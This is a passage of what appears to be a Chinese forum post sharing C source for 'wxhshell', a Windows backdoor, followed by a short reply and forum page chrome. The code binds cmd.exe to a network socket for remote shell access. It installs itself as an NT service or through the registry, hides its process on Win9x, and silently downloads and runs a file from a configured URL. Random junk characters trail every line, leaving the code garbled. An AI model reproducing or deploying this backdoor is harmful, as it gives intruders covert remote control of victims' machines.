  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >J+'hm@  
  } ]z EatY  
  else { 68 % = V>V  
XdX1GH*C  
    switch(cmd[0]) { fvn`$  
  DD`Bl1)  
  // 帮助 &~ of]A  
  case '?': { 6? I,sZW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yOwo(+ 2  
    break; Umx~!YL!  
  } YqhZndktX  
  // 安装 ~u-DuOZ8  
  case 'i': { eg Ml(~D  
    if(Install()) p|!5G&O,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~.99H  
    else oc+TsVt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c5x2FM z  
    break; {"T$j V:GB  
    } qdkhfm2(K  
  // 卸载 npC:SrI%  
  case 'r': { "mlVs/nsyG  
    if(Uninstall()) E9e|+$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '4-J0S<<_  
    else `|maf=SnY5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {;uOc{~+  
    break; a*?bnw?  
    } nBw4YDR!  
  // 显示 wxhshell 所在路径 {~J'J$hn8  
  case 'p': { coa+@g,w7#  
    char svExeFile[MAX_PATH]; t5: 1' N9P  
    strcpy(svExeFile,"\n\r"); L?_'OwaY  
      strcat(svExeFile,ExeFile); 1t&LNIc|^  
        send(wsh,svExeFile,strlen(svExeFile),0); a6\0XVU  
    break; N 4Kj)E@  
    } 2d),*Cvf  
  // 重启 m'{gO9V  
  case 'b': { jeb ]3i=pw  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]-ad\PI$  
    if(Boot(REBOOT)) c>I(6$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %d-|C.  
    else { D6X0(pU0  
    closesocket(wsh); Cngi5._Lb  
    ExitThread(0); PkM]jbLe8  
    } .[mI9dc  
    break; ?8AV-rRX  
    } v@m2c_,  
  // 关机 Rq`B'G9|c  
  case 'd': { O5X@'.#rU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); in}d(%3h  
    if(Boot(SHUTDOWN)) z~8`xn,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JZ=ahSi  
    else { w[ )97d  
    closesocket(wsh); e_U1}{=t  
    ExitThread(0); dsJMhB_41U  
    } 90g=&O5@O  
    break; <}Hfu-PLo  
    } &+0WZ#VI  
  // 获取shell Tvp~~Dk  
  case 's': { py \KY R  
    CmdShell(wsh); ]#$l"ss,  
    closesocket(wsh); m9~cQ!m  
    ExitThread(0); 6:\0=k5  
    break; vs=8x\W  
  } }EJAC*W,  
  // 退出 s=KK)6T  
  case 'x': { M3m)uiz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b}&2j3-n,  
    CloseIt(wsh); %=w@c  
    break; +\s32o zg  
    } MSQz,nn  
  // 离开 {>EM=ZZfg  
  case 'q': { RaT.%:CRm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M~h^~:Lk  
    closesocket(wsh); z5njblUz  
    WSACleanup(); KOv?p@d  
    exit(1); _P].Z8  
    break; IA6,P>}N  
        } "}|&eBH^<  
  } +"yt/9AO  
  } $3yzB9\a"  
[hhPkJf|f  
  // 提示信息 9nGS"E l{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PiL[&_8g  
} )t?_3'W  
  } w'i8yl bZ  
^RIDC/B=V6  
  return; s?Wkh`b  
} !tuN_  
rlRRGJ\l  
// shell模块句柄 ;\mTm;]G  
int CmdShell(SOCKET sock) %DQ!#Nl*  
{ %f-Uwq&}Y"  
STARTUPINFO si; {zNFp#z  
ZeroMemory(&si,sizeof(si)); z5tOsU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (Ts#^qC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]=ubl!0=:  
PROCESS_INFORMATION ProcessInfo; S+*%u/;l  
char cmdline[]="cmd"; tNbL)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A_pcv7=@  
  return 0;  0?80V'  
} ;NoD4*  
c.?+rcnq  
// 自身启动模式 rCH? R   
int StartFromService(void) 1EmZ/@k/Y  
{ [TaYNc!\  
typedef struct o[Gp*o\  
{ ! <O,xI'  
  DWORD ExitStatus; _~}n(?>  
  DWORD PebBaseAddress; }f;cA  
  DWORD AffinityMask;  26[.te9  
  DWORD BasePriority; h.t2;O,b  
  ULONG UniqueProcessId; Kk9eJ\  
  ULONG InheritedFromUniqueProcessId; PrQs_ t Ni  
}   PROCESS_BASIC_INFORMATION; be+]kp  
1RU+d.&D  
PROCNTQSIP NtQueryInformationProcess; znq/ %7  
-]Mbe2;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H_&z- g`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  \LP?,<  
4*9WxhJ ]0  
  HANDLE             hProcess; }"\jB  
  PROCESS_BASIC_INFORMATION pbi; A5q%yt I  
C< B1zgX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |M$ESj4@  
  if(NULL == hInst ) return 0; Cn"L*\o  
k2Dq~zn  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @ C"w 1}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;p8,=w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y'9<fSn5&  
(i)Ed9~F"  
  if (!NtQueryInformationProcess) return 0; L=v"5)m2R  
WoSJp5By$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); iS#m{1m$$  
  if(!hProcess) return 0; {0J (=\u  
\!J9|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ] RLEyDB  
_[p@V_my  
  CloseHandle(hProcess); >sZ207*  
.NX>d@ Kc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'kE^oX_  
if(hProcess==NULL) return 0; ~'u %66  
TM*<hC  
HMODULE hMod; k 1sR^&{l  
char procName[255];  1k39KO@  
unsigned long cbNeeded; ]/TqPOi:  
 $hgsWa  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y0b FzR9  
<pp<%~_Z  
  CloseHandle(hProcess); X)^&5;\`  
.4cOMiG  
if(strstr(procName,"services")) return 1; // 以服务启动 MU#$tXmnC  
\+I+Lrj%  
  return 0; // 注册表启动 &h67LMD!  
} KOP*\\1 J  
Q%Y r m  
// 主模块 ZNjqH[  
int StartWxhshell(LPSTR lpCmdLine) >G<.^~o  
{ 1v"r8=Wt  
  SOCKET wsl; \*x=q20  
BOOL val=TRUE; R3!3TJ  
  int port=0; &-B&s.,kj  
  struct sockaddr_in door; 6~y7A<[^  
n<3*7/-  
  if(wscfg.ws_autoins) Install(); :d`8:gv?  
KGq4tlM6  
port=atoi(lpCmdLine); P6([[mmG  
3^%sz!jK+  
if(port<=0) port=wscfg.ws_port; h8-'I= ~  
)WR*8659e  
  WSADATA data; {WYmO1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c:f++||  
=F>nqklc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   GTBT0$9 g.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _>)=c<HL  
  door.sin_family = AF_INET; vo3[)BDbT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -7\6j#;l  
  door.sin_port = htons(port); ;DN:AgXP  
OK1f Y`$z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /&Vgo ~.J  
closesocket(wsl); a"|\n_  
return 1; u*C"d1v=  
} C~([aH@-I  
VjhwafYC  
  if(listen(wsl,2) == INVALID_SOCKET) { *d/,Y-tl  
closesocket(wsl); |= U(8t  
return 1; K-f\nr  
} q1O}dSPwX  
  Wxhshell(wsl); B$kp\yL  
  WSACleanup(); .}||!  
RI2Or9.  
return 0; x|oa"l^JZ"  
2`]_c=  
} Qx%]u8s  
W;9Jah.  
// 以NT服务方式启动 %G>|u/:U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k3FpD=N  
{ x[i Et%_  
DWORD   status = 0; ^FZ7)T  
  DWORD   specificError = 0xfffffff; t1h2ibO  
TPeBb8v 8D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {cF >, T  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `9yR,Xk=l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \ mt> R[  
  serviceStatus.dwWin32ExitCode     = 0; X/!37  
  serviceStatus.dwServiceSpecificExitCode = 0; H@R2mw  
  serviceStatus.dwCheckPoint       = 0; fpK`  
  serviceStatus.dwWaitHint       = 0; =P"Sm r  
Z" !+p{u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 68v59)0U  
  if (hServiceStatusHandle==0) return; S3(2.c~  
>|e>=  
status = GetLastError(); 9v2(cpZ  
  if (status!=NO_ERROR) [Y^1}E*  
{ <fLk\ =  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I$7TnMug  
    serviceStatus.dwCheckPoint       = 0; 6qgII~F'  
    serviceStatus.dwWaitHint       = 0; D;l)&"|r?  
    serviceStatus.dwWin32ExitCode     = status; LN?b6s75U  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^M Zdht   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9+sOSz~ P  
    return; k-M-=VvA  
  } LpJ_HU7@lk  
$*u{i4b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <Gr775"  
  serviceStatus.dwCheckPoint       = 0; }nW)+  
  serviceStatus.dwWaitHint       = 0; ,UD,)ZPf[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ecI[lB  
} yv!,iK9  
=>7\s}QZ  
// 处理NT服务事件,比如:启动、停止 bC mhlSNi  
VOID WINAPI NTServiceHandler(DWORD fdwControl) VC6S4FU4K  
{ @$(/6]4p  
switch(fdwControl) +yYv"J  
{ 8'kA",P  
case SERVICE_CONTROL_STOP: &2!F:L  
  serviceStatus.dwWin32ExitCode = 0; .7nr:P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &$ ?i  
  serviceStatus.dwCheckPoint   = 0; "w\Iz]  
  serviceStatus.dwWaitHint     = 0; W]v[Xm$q  
  { Je6=N3)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pSq3\#Twr  
  } [@qUQ,Ie  
  return; bh8IF,@a  
case SERVICE_CONTROL_PAUSE: `[+nz rLkO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; AjQ^ {P  
  break; M zLx2?  
case SERVICE_CONTROL_CONTINUE: 7 vS]O$w<4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?=]*r>a3  
  break; 5[Ryc[  
case SERVICE_CONTROL_INTERROGATE:  uT}Jw  
  break; | ZI~#V  
}; g8{?;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f]BG`rJX  
} E&/D%}Wl  
"5-S:+  
// 标准应用程序主函数 hOX$|0i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1MV\ ^l_  
{ Ge|& H]W  
hr<E%J1k%  
// 获取操作系统版本 \kpk-[W*x{  
OsIsNt=GetOsVer(); 'xdM>y#S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R; X8%'   
NAj1ORy4pX  
  // 从命令行安装 *6)u5  
  if(strpbrk(lpCmdLine,"iI")) Install(); %^l77 :O  
m4@y58n=  
  // 下载执行文件 d8b'Gjwtw  
if(wscfg.ws_downexe) { fNi&1J-/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Hy<4q^3$G  
  WinExec(wscfg.ws_filenam,SW_HIDE); ><X!~by  
} TA}z3!-y*  
Qhnz7/a9  
if(!OsIsNt) { A}#@(ma7  
// 如果时win9x,隐藏进程并且设置为注册表启动 bl>MD8bzLE  
HideProc(); Qr;es,f  
StartWxhshell(lpCmdLine); "Yn <]Pa_  
} 62}bs/%  
else #N|)hBz9-  
  if(StartFromService()) JlF0L%Rc  
  // 以服务方式启动 %<e\s6|P:  
  StartServiceCtrlDispatcher(DispatchTable); HRx%m1H  
else BEM+FG  
  // 普通方式启动 Z;@F.r  
  StartWxhshell(lpCmdLine); Y.?|[x0Wh  
XHO}(!l\  
return 0; XbJ=lH  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八